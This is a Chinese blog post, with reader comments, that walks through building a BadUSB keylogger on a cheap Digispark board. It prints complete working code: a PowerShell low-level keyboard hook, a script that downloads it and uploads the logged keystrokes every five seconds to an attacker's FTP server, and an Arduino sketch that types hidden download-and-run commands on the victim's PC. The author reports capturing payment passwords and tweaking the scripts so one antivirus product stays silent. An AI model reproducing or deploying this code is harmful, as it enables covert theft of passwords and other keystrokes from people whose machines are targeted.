menu 澜灯's Zone
search
BadUSB实现记录键盘并上传ftp服务器
Lantern
Lantern
Time:
share




效果

Win10系统,UAC开启,火绒无反应。包括支付宝密码都正常记录上传。
成本只有一个淘宝9块钱包邮的Digispark以及ftp服务器。

原理

百度一下能找到一大串原理,大概来说就是USB协议的一个漏洞使USB设备可以将自己伪装成一个键盘,然后执行设定的按键。
杀毒软件肯定是不会对一个“键盘”进行检查的,所以亲测全过程中火绒没有进行任何提示(未测试360,应该也没问题)。(2018.11.22:据反馈,360和腾讯目前均会拦截)

过程

准备文件

  • log.ps1(记录键盘记录并保存文件)
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
  public static class Program {
  private const int WH_KEYBOARD_LL = 13;
  private const int WM_KEYDOWN = 0x0100;
  private const string logFileName = "log.txt";
  private static StreamWriter logFile;
  private static HookProc hookProc = HookCallback;
  private static IntPtr hookId = IntPtr.Zero;
  public static void Main() {
    logFile = File.AppendText(logFileName);
    logFile.AutoFlush = true;
    hookId = SetHook(hookProc);
    Application.Run();
    UnhookWindowsHookEx(hookId);
  }
  private static IntPtr SetHook(HookProc hookProc) {
    IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
    return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
  }
  private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
  private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
    int vkCode = Marshal.ReadInt32(lParam);
    logFile.WriteLine((Keys)vkCode);
    }
    return CallNextHookEx(hookId, nCode, wParam, lParam);
  }
  [DllImport("user32.dll")]
  private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
  [DllImport("user32.dll")]
  private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  [DllImport("user32.dll")]
  private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
  [DllImport("kernel32.dll")]
  private static extern IntPtr GetModuleHandle(string lpModuleName);
  }
}
"@ -ReferencedAssemblies System.Windows.Forms
[KeyLogger.Program]::Main();
  • reg.ps1(每5秒自动上传记录文件到FTP服务器)
    cd c:\users\public\
    (New-object System.Net.WebClient).DownloadFile('log.ps1文件的下载地址','c:\users\public\log.ps1');
    $log=$env:COMPUTERNAME
    while($z=1){
    Start-Sleep -Seconds 5
    Copy-Item ./log.txt ./GetLog-$log.txt
    $fileinf=New-Object System.Io.FileInfo("c:\users\public\GetLog-$log.txt");
    $ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://ftp服务器地址/"+$fileinf.name)
    $ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
    $ftp.Credentials = new-object System.Net.NetworkCredential("ftp用户名","ftp密码")
    $ftp.UseBinary = $true
    $ftp.UsePassive = $true
    $content = [System.IO.File]::ReadAllBytes($fileInf.fullname)
    $ftp.ContentLength = $content.Length
    $rs = $ftp.GetRequestStream()
    $rs.Write($content, 0, $content.Length)
    $rs.Close()
    $rs.Dispose()
    }

将以上两个文件上传至某个可直链下载的地方,并建一个ftp服务器。

以上两段代码来自52论坛,原帖(已被删除)提供的代码实测火绒会警告“运行隐蔽的PowerShell脚本”并自动拦截。因为原贴的代码在reg.ps1中隐藏窗口运行了log.ps1。略作修改使两脚本都通过cmd运行,实测火绒无反应了。

准备开发板

使用Arduino ide将以下代码上传开发板。

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell -Command $clnt = (New-object System.Net.WebClient).DownloadFile('reg.ps1文件的下载地址','c:\\users\\public\\reg.ps1');");
DigiKeyboard.delay(500);
DigiKeyboard.println("cd c:\\users\\public");
DigiKeyboard.println("start cmd /k PowerShell.exe -WindowStyle Hidden -file reg.ps1");
DigiKeyboard.println("ping -n 5 127.1 >nul");
DigiKeyboard.println("PowerShell.exe -WindowStyle Hidden -file log.ps1");
}

上传完成后会立刻开始执行,键盘记录的文件会保存在ftp服务器上,5秒更新一次。


评论

   textsms
   account_circle
昵称不能为空
   email
邮箱格式错误
   language





message 已有 7 条评论QwQ
    ⑨BIE
    Time: 2018-08-29 00:38




    既然都HID模拟键盘设备了,不如模拟网卡吧qwq
    直接劫持本地流量。先走我们的BADUSB呀2333这样效率更高
    说起来我之前也很想自制一个的,但是一直因为怠惰没做成_(:з)∠)_

    萨满
    萨满
    Time: 2018-11-08 13:19




    我试了写入开发板失败了。。。。。

      Lantern
      Time: 2018-11-09 12:32




      Digispark不在Arduino自带的开发板管理器里 需要自己添加 参考一下这篇 http://www.infosec-wiki.com/?p=447398


      coo
      coo
      Time: 2018-11-15 14:40




      attiny 85 板的代码写错,reg.ps1应该改成get.ps1

        Lantern
        Time: 2018-11-17 17:08




        已修正 感谢

          coo
          coo
          Time: 2018-11-21 20:46




          实际测试了一下,给个反馈。火绒不会拦截,360和腾讯均会拦截

            Lantern
            Time: 2018-11-22 12:26




            感谢反馈,已在文中加入提示。